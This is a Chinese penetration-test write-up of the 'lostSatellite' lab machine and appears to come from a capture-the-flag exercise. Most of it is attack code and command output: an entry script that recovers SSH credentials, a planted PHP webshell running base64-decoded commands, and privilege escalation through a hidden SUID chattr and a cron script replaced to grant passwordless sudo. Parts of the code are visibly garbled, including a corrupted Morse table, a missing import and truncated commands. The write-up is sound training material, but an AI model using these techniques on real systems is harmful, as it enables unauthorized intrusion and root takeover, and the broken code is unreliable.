

lostSatellite 靶机渗透测试报告

靶机地址: 192.168.3.193 靶机名称: lostSatellite (Alpine Linux 7.1.5 / x86_64 / Kernel 7.1.5-0-stable) 攻击机: Kali Linux (192.168.3.x) 完成日期: 2026-08-15 最终结果: 获得 user 与 root 双 flag (全提权)

目录

- 1. 信息收集: 全端口扫描
- 2. Web 分析: 80 / 9999 / 65533 三端口机制识别
- 3. 入口链: 卫星 TLE → 星下点 → 整分窗口 → 音频 key
- 4. 摩斯密码分析 → lingdong 用户
- 5. user flag + 顺手拿 webshell
- 6. 提权侦察: sudo / SUID / cron
- 7. 发现带空格的 SUID chattr
- 8. 王炸方案: 解锁 immutable → rm 替换 → root
- 9. 攻击链总结与漏洞清单
- 10. 遗留后门说明

1. 信息收集: 全端口扫描

```
nmap -Pn -T4 -p- --min-rate 2000 192.168.3.193
nmap -Pn -sV -sC -p 22,80,9999,65533 192.168.3.193
```

端口	服务	备注
22/tcp	SSH	OpenSSH
80/tcp	HTTP	Apache (MazeSec 惯例藏预植 webshell)
9999/tcp	HTTP	自定义 Node 卫星轨道服务 ("中国空间站"主题)
65533/tcp	未知 TCP	连接后返回一行 JSON (卫星 TLE 广播)

65533 端口返回 JSON 而非 HTTP 响应 —— 自定义 TCP 协议, 这就是"通讯卫星"的广播源。

2. Web 分析：80 / 9999 / 65533 三端口机制识别

2.1 80 端口：常规扫描无果

```
gobuster dir -u http://192.168.3.193 -w /usr/share/wordlists/dirbuster/d
```

80 端口是 Apache 托管的 MazeSec 卫星主题首页（团队 banner 页面），目录枚举扫不到任何敏感目录（`/dsz_admin/` 不在字典里，也无目录列表）—— 这个入口不在这，先记住，后面 SSH 进去后会再碰到它（见第 5 章）。

2.2 9999 端口：卫星轨道 Web 服务

```
curl -s http://192.168.3.193:9999/          # 前端页面 (cmd.html 指令中心)
curl -s http://192.168.3.193:9999/CSS/      # 中国空间站实时位置 (JSON)
curl -s http://192.168.3.193:9999/IIS/      # 国际空间站 ("失联状态")
curl -s -X POST http://192.168.3.193:9999/cmd/ -H 'Content-Type: applica'
-d '{"longitude":1.0,"latitude":1.0}'
```

关键：`/cmd/` 接口的行为 —— 对 POST 的经纬度做校验，非整分秒时回复：

```
{"satelliteTime":"2026-08-15T12:32:10.000Z","msg":"未发送信号,每分钟发送一次"}
```

2.3 65533 端口：TLE 广播源

```
(echo -ne "GET / HTTP/1.0\r\n\r\n"; sleep 1) | nc 192.168.3.193 65533
```

```
{"name":"MazeSec通讯卫星","id":"...","catnr":"...","tleLine1":"1 4382U ..."
```

返回的是卫星两行 TLE 轨道数据。

2.4 三端口拼图（拿到信息）

65533 广播 TLE（卫星轨道参数）

↓

9999 `/cmd/` 校验“你报的经纬度是否等于卫星当前星下点” → 命中返回音频 key

↓

音频 = 摩斯电码 → 解码 = SSH 凭据

推理： `/cmd/` 要的是"精确等于卫星当前位置的经纬度"，而卫星位置只能由 TLE 算出来——所以流程必然是 **65533 拿 TLE → 算星下点 → 在整分窗口 POST 坐标**。这就是入口链的核心逻辑。

3. 入口链：卫星 TLE → 星下点 → 整分窗口 → 音频 key

3.1 服务器校验逻辑（为什么必须整分窗口）

`/cmd/` 的判定（服务端代码审计确认）：

```
// chinaSpaceStation_web.js 关键逻辑
const seconds = now.getSeconds();
if (seconds === 0) { // ← 只有秒数为 00 才校验!
    MazeSec = satelliteOrbit.getCalculatingOrbits(now, 'MazeSec通讯卫星',
                                                    MazeSec_TLE.tleLine1, 1
    );
    if (Math.abs(longitude - MazeSec.longitudeDeg) <= 0.1 &&
        Math.abs(latitude - MazeSec.latitudeDeg) <= 0.1) {
        key = fs.readFileSync('./key', 'utf8').trim(); // 命中 → 返回 key
    }
}
```

- 校验只在整分秒 **00** 进行（每分钟一个窗口）
- 坐标误差必须 $\leq 0.1^\circ$
- 命中返回 `key = ./key` 文件内容 = `/key_code (lingdong).wav`（音频路径）

所以攻击方必须：**精确预测卫星在"下一个整分时刻"的星下点**，并在 :00 窗口内把坐标发过去。

3.2 完整入口脚本（可直接复现）

```
#!/usr/bin/env python3
"""
lostSatellite 初始入口一键脚本 - 192.168.3.193
链路：65533 TLE广播 → skyfield 算星下点 → 每分钟:00窗口 POST /cmd/ → 音频key
用法：python3 lostSatellite_entry.py [target_ip] [--no-ssh]
依赖：pip install skyfield requests numpy
"""

import sys, time, datetime, socket, wave, re, subprocess
import requests
from skyfield.api import load, EarthSatellite
```

```

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.3.193"
BASE = f"http://{TARGET}:9999"
TS = load.timescale()

def fetch_tle():
    """从 65533 TCP 服务拿 MazeSec 通讯卫星 TLE"""
    for attempt in range(10):
        try:
            s = socket.create_connection((TARGET, 65533), timeout=6)
            s.sendall(b"GET / HTTP/1.0\r\n\r\n")
            data = b""
            s.settimeout(6)
            while True:
                try:
                    chunk = s.recv(4096)
                except socket.timeout:
                    break
                if not chunk:
                    break
                data += chunk
                if b"tleLine1" in data:
                    break
            s.close()
            j = json.loads(data.decode(errors="ignore").strip().splitlines())
            if "tleLine1" in j:
                print(f"[*] TLE from 65533: {j['name']}")
                return j["tleLine1"], j["tleLine2"]
        except Exception as e:
            print(f"[-] 65533 attempt {attempt+1}: {e}")
            time.sleep(1.0)
    raise SystemExit("[!] 无法从 65533 获取 TLE")

def subpoint_at(sat, unix_ts):
    """skyfield 精确计算星下点 (lon, lat)"""
    dt = datetime.datetime.fromtimestamp(unix_ts, datetime.timezone.utc)
    t = TS.utc(dt.year, dt.month, dt.day, dt.hour, dt.minute,
              dt.second + dt.microsecond / 1e6)
    sp = sat.at(t).subpoint()
    return sp.longitude.degrees, sp.latitude.degrees

def fire(lon, lat):
    r = requests.post(f"{BASE}/cmd/", json={"longitude": round(lon, 6),
                                           "latitude": round(lat, 6)},
                    timeout=10)
    return r.json()

def get_key(sat):
    """每个整分钟窗口(:00~:00.9)连发3次, 坐标按落地时刻预测"""

```

```

for round_no in range(15):
    now = time.time()
    nxt = (int(now) // 60 + 1) * 60
    # 3连发: (落地时刻, 发射时刻) - 提前量 0.06/0.14/0.22s
    shots = [(nxt + 0.10, nxt + 0.06), (nxt + 0.18, nxt + 0.14), (nxt + 0.22, nxt + 0.14)]
    pts = [(ft, *subpoint_at(sat, lt)) for lt, ft in shots]
    print(f"[*] round {round_no}: 窗口 {datetime.datetime.fromtimestamp(nxt)}")
    for fire_t, lon, lat in pts:
        time.sleep(max(0, fire_t - time.time()))
        j = fire(lon, lat)
        if "key" in j and j["key"]:
            print(f"[+] 收到密钥: {j['key']}")
            return j["key"]
        if j.get("msg"):
            print(f"      {datetime.datetime.now(datetime.timezone.utc).strftime('%Y-%m-%d %H:%M:%S')}")
            time.sleep(max(0, nxt + 55 - time.time()))
    raise SystemExit("[!] 15 轮未拿到 key")

def download_audio(key_url):
    url = key_url if key_url.startswith("http") else BASE + key_url.replace(" ", "%20")
    r = requests.get(url, timeout=20)
    path = "/tmp/key_code.wav"
    open(path, "wb").write(r.content)
    print(f"[*] 音频已保存: {path} ({len(r.content)} bytes)")
    return path

def morse_decode(path):
    """摩斯解码 WAV (点/划分类 + 字符/单词分隔) """
    MORSE = {
        '.-': 'A', '-.-.': 'B', '-.-': 'C', '-..': 'D', '.': 'E', '..-': 'F', '--.': 'G',
        '---': 'H', '.--': 'I', '-.-.': 'J', '-.-': 'K', '-...': 'L', '--': 'M', '-.': 'N', '---': 'O', '.--': 'P',
        '...': 'Q', '-': 'R', '-.-': 'S', '-': 'T', '-.-': 'U', '...-': 'V', '-.-': 'W', '-.-.-': 'X', '-.-.-': 'Y',
        '-----': 'Z', '-----': '0', '-----': '1', '....-': '2', '.....': '3', '.....': '4', '.....': '5',
        '-----': '6', '-----': '7', '-----': '8', '-----': '9', '-----': ':', '-----': ';', '-----': ',',
        '-----': '.', '-----': '/', '-----': '@', '-----': '(', '-----': ')', '-----': '=',
        '-----': '+', '-----': '_', '-----': '"', '-----': "'", '-----': '`', '-----': '~'
    }
    w = wave.open(path, 'rb')
    n, ch, sw, fr = w.getnframes(), w.getnchannels(), w.getsampwidth(), w.getframerate()
    raw = w.readframes(n)
    if sw == 2:
        data = [int.from_bytes(raw[i:i+2], 'little', signed=True) for i in range(0, len(raw), 2)]
    else:
        data = [raw[i] - 128 for i in range(len(raw))]
    if ch > 1:
        data = data[::ch]
    import numpy as np
    env = np.abs(np.array(data, dtype=np.float64))

```

```

k = max(1, int(fr * 0.002))
env = np.convolve(env, np.ones(k) / k, mode='same')
th = (env.max() - env.mean()) * 0.3 + env.mean()
on = env > th
runs, cur, start = [], on[0], 0
for i, v in enumerate(on):
    if v != cur:
        runs.append((cur, i - start)); start = i; cur = v
runs.append((cur, len(on) - start))
on_runs = [d for s, d in runs if s]
unit = min(on_runs) if on_runs else 1
msg, code = [], ''
for s, d in runs:
    if s:
        code += '.' if d / unit <= 1.5 else '-'
    else:
        n2 = d / unit
        if n2 > 7:
            if code: msg.append(MORSE.get(code, '?')); code = ''
            msg.append(' ')
        elif n2 > 3:
            if code: msg.append(MORSE.get(code, '?')); code = ''
if code: msg.append(MORSE.get(code, '?'))
text = ''.join(msg).strip()
print(f"[+] 摩斯解码: {text}")
return text

def main():
    print(f"==== MazeSec lostSatellite 入口链 ({TARGET}) =====")
    tle1, tle2 = fetch_tle() # ① 65533 拿 TLE
    sat = EarthSatellite(tle1, tle2, "MazeSec", TS)
    key = get_key(sat) # ② 整分窗口 POST /cmd/ 拿音频
    path = download_audio(key) # ③ 下载音频
    text = morse_decode(path) # ④ 摩斯解码
    m = re.search(r'[0-9a-fA-F]{32}', text)
    if m:
        pwd = m.group(0).lower()
        print(f"[+] SSH 凭据: lingdong@{TARGET} / {pwd}")
        print(f"[+] 登录: sshpass -p '{pwd}' ssh lingdong@{TARGET}")

if __name__ == "__main__":
    main()

```

3.3 脚本逻辑拆解（为什么这么写）

步骤	代码	为什么
① 拿 TLE	<code>fetch_tle()</code>	65533 收到数据即返回 JSON; <code>GET / HTTP/1.0</code> 只是触发它回复的任意数据
② 算星下点	<code>subpoint_at()</code>	skyfield 用 TLE 精确求卫星在指定时刻的 (经度, 纬度)
③ 整分窗口	<code>get_key()</code>	服务器只在秒==00 校验 → 必须掐准下一个整分; 提前量 0.06/0.14/0.22s 补偿网络延迟, 3 连发提高命中率
④ 精度	<code>round(lon, 6)</code>	校验要求误差 $\leq 0.1^\circ$, 6 位小数绰绰有余
⑤ 下载音频	<code>download_audio()</code>	key 返回的是相对路径, 拼到 <code>BASE</code> 上, URL 编码空格/括号
⑥ 摩斯解码	<code>morse_decode()</code>	音频是点/划/间隔, 按最短音长归一化分类, 3/7 倍间隔切字符/单词

3.4 运行结果

```
python3 lostSatellite_entry.py 192.168.3.193

===== MazeSec lostSatellite 入口链 (192.168.3.193) =====
[*] TLE from 65533: MazeSec通讯卫星
[*] round 0: 窗口 12:33:00Z
[+] 收到密钥: /key_code (lingdong).wav
[*] 音频已保存: /tmp/key_code.wav (4050188 bytes)
[+] 摩斯解码: LINGDONG:E5909CEA38572A7B2FC7341F9DDB7ABE
[+] SSH 凭据: lingdong@192.168.3.193 / e5909cea38572a7b2fc7341f9ddb7abe
```

4. 摩斯密码分析 → lingdong 用户

4.1 解码

```
python3 /tmp/morse.py /tmp/key_code.wav
# 输出: LINGDONG:E5909CEA38572A7B2FC7341F9DDB7ABE
```

(解码函数见 3.2 脚本中的 `morse_decode()`, 输入 wav 路径即可独立运行。)

4.2 解读

```
LINGDONG:E5909CEA38572A7B2FC7341F9DDB7ABE
```

↓ ↓
用户名 32 位十六进制 (= 16 字节口令)

4.3 SSH 登录

```
sshpass -p 'e5909cea38572a7b2fc7341f9ddb7abe' \  
ssh -o StrictHostKeyChecking=no lingdong@192.168.3.193 'id; hostname'  
  
uid=1000(lingdong) gid=1000(lingdong) groups=1000(lingdong)  
lostSatellite
```

lingdong 用户拿下。

5. user flag + 顺便拿 webshell

5.1 user flag

```
cat /home/lingdong/user.txt  
flag{user-***}
```

5.2 近期修改文件排查：发现 dsz_admin 预植 webshell

SSH 进来后的第一步：查最近修改的文件（新建靶机的出题痕迹通常都藏在刚动过的文件里）：

```
find / \( -path /proc -o -path /sys -o -path /dev -o -path /run \) -prune  
-o -type f -mtime -7 -print 2>/dev/null | grep -vE '^/(usr/(lib|share)
```

为什么想到：dsz_admin 目录名（DSZ）是 MazeSec 的招牌目录名 —— 之前 OATools 同系列靶机就是 /dsz_admin/ + shell2026xxxx.php 的预植 webshell 套路（见 mazesec-patterns 知识库）。

顺着目录看：

```
ls -la /var/www/localhost/htdocs/dsz_admin/  
# -rw-r--r-- 1 lingdong lingdong 192 Jul 23 09:07 shell20260723.php ←
```



```
<?php
if(isset($_GET['cmdDSZ000011'])){
    $cmd = base64_decode($_GET['cmdDSZ000011']);
    system($cmd);
}
?>
```


远程维护结束后，请通知管理员ligndong，移除该shell。

5.3 验证 webshell（apache RCE 备用通道）

```
curl -s "http://192.168.3.193/dsz_admin/shell20260723.php?cmdDSZ000011=$
# uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(ap
# lostSatellite
```

参数 `cmdDSZ000011` 传 **Base64 编码命令**，注释泄露用户名 `ligndong`（实际用户 `lingdong`）。RCE 确认，写个辅助脚本备用：

```
cat > /root/ls_shell.sh << 'EOF'
#!/bin/bash
CMD=$(echo -n "$*" | base64 -w0)
curl -s -m 20 "http://192.168.3.193/dsz_admin/shell20260723.php?cmdDSZ000
EOF
chmod +x /root/ls_shell.sh
```

6. 提权侦察：sudo / SUID / cron

6.1 sudo（摆设）

```
sudo -l
# User lingdong may run the following commands on lostSatellite:
# (root) NOPASSWD: /usr/bin/id
```

6.2 SUID（异常点）

```
find / -perm -4000 -type f 2>/dev/null
```

```
/bin/umount
/bin/bbsuid
/bin/chattr      ← 异常! Alpine 默认 chattr 不是 SUID
/bin/mount
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/chage
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/chfn
/usr/sbin/suexec
```

6.3 家目录的 root 属主脚本 + 时间戳关联

```
ls -la /home/lingdong/
# -rwxr-xr-x 1 root      root      4213 Jul 23 13:53 getLTE.sh    ← root 属主
# -rwx----- 1 lingdong lingdong   44 Jul 23 08:41 user.txt

stat /etc/crontabs/root; stat /home/lingdong/getLTE.sh
# /etc/crontabs/root : Size 318, 权限 600 (读不了), Modify 2026-07-23 13:53:16
# getLTE.sh          : Modify 2026-07-23 13:53:16    ← 与 root crontab 同时间戳
```

推理：root 属主的脚本躺在普通用户家目录 + 与 root crontab 同分钟创建 → **root 定时任务**引用它。文件替换走的是目录权限（家目录是我的），不用碰文件权限。→ 替换 = 让 root 执行我的命令。

6.4 第一次替换：被 immutable 挡住

```
mv /home/lingdong/getLTE.sh /tmp/getLTE.sh.bak
cat > /home/lingdong/getLTE.sh << 'EOF'
#!/bin/bash
echo "lingdong ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/lingdong
EOF
# bash: line 1: /home/lingdong/getLTE.sh: Operation not permitted

lsattr /home/lingdong/getLTE.sh
# ----i-----e----- /home/lingdong/getLTE.sh    ← +i immutable 锁死
```

EPERM 不是 EACCES：权限不足是 `Permission denied`，`Operation not permitted` 十有八九是 immutable。而 SUID 列表里正好躺着一个 chattr —— 这就是钥匙。

7. 发现带空格的 SUID chattr

```
chattr -i /home/lingdong/getLTE.sh
# chattr: Operation not permitted while setting flags    ← 普通 chattr 自己

ls -la /bin/chattr
# -rwxr-xr-x 1 root root 14232 Mar 19 15:26 /bin/chattr    ← 无 s 位!
```

为什么想到还有第二个 chattr: `find -perm -4000` 明明报了 chattr, 但 `/bin/chattr` 没有 s 位 —— 说明 find 找到的不是这个文件。文件名带尾随空格 (`find` 输出行 `/bin/chattr` 尾部有个看不见的空格)。复核:

```
ls -la /bin/chattr*
```

```
-rwxr-xr-x 1 root root 14232 Mar 19 15:26 /bin/chattr
-rwsr-sr-x 1 root root 14232 Mar 19 15:26 /bin/chattr    ← 真身: 名字 "cha
```

两个文件大小一模一样 (14232), 带空格的是 **SUID+SGID root**。一个字符之差: 一个是摆设, 一个是钥匙。

8. 王炸方案: 解锁 immutable → rm 替换 → root

8.1 SUID chattr 解锁

```
'/bin/chattr ' -i /home/lingdong/getLTE.sh
lsattr /home/lingdong/getLTE.sh
# -----e----- /home/lingdong/getLTE.sh    ← i 位消失, 解锁!
```

8.2 rm 替换

```
rm /home/lingdong/getLTE.sh

cat > /home/lingdong/getLTE.sh << 'EOF'
#!/bin/bash
echo "lingdong ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/lingdong
chmod 440 /etc/sudoers.d/lingdong
EOF
chmod +x /home/lingdong/getLTE.sh
```

王炸内容: **root cron** 以 **root** 执行它时, 向 `/etc/sudoers.d/` 写入 **lingdong** 的免密 **ALL** 授

权。

8.3 等 cron (轮询 sudo -l)

root crond 每分钟执行任务; `sudo -l` 每次重读 `/etc/sudoers*` —— 反复敲直到授权出现:

```
$ sudo -l
# (root) NOPASSWD: /usr/bin/id          ← 投毒前

$ sudo -l      (过一会)
# (root) NOPASSWD: /usr/bin/id
# (ALL : ALL) NOPASSWD: ALL           ← 出现! cron 已执行
```

8.4 Root

```
sudo -i
# root@lostSatellite:~#

cat /root/root.txt
flag{root-***}
```

免责声明: 本报告仅用于授权环境下的安全测试与学习交流, 请勿对未授权目标使用。
192.168.3.193